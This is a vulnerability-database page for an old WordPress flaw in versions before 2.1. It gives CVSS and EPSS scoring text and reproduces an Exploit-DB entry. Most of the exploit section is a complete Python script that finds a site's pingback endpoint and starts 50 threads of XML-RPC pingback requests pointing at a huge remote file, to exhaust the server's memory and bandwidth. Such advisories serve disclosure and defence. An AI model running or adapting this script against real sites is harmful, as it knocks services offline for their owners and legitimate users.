Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
5 |
|
AV:N/AC:L/Au:N/C:N/I:N/A:P |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 29522
Publication date : 2007-01-23 23h00 +00:00
Author : Blake Matheny
EDB Verified : Yes
source: https://www.securityfocus.com/bid/22220/info
WordPress is prone to a denial-of-service vulnerability and an information-disclosure vulnerability.
Attackers can exploit these issues to consume memory and bandwidth resources, denying service to legitimate users, or to gain information that may aid in further attacks.
Versions prior to WordPress 2.1 are vulnerable.
#!/bin/env python
# vim:ft=python:fileencoding=utf-8
#
from xmlrpclib import ServerProxy
from urllib import urlopen
from random import randint
from threading import Thread
# Define target
targetURL = "http://www.example.com/file.html"
hugeFile = "http://www.example.com/path-to-a-big-iso-file-from-a-major-linux-distribution.iso#i%d"
# Fetch Pingback-URL
pingbackURL = urlopen(targetURL).headers["X-Pingback"]
print "Target URL: %s\nPingback: %s" % (targetURL, pingbackURL)
# Attack
def attack():
server = ServerProxy(pingbackURL)
try: server.pingback.ping(hugeFile % randint(10, 1000), targetURL)
except: pass
for i in range(50):
Thread(target=attack).start()
print "-- attacking --"
Products Mentioned
Configuraton 0
Wordpress>>Wordpress >> Version To (including) 2.0
References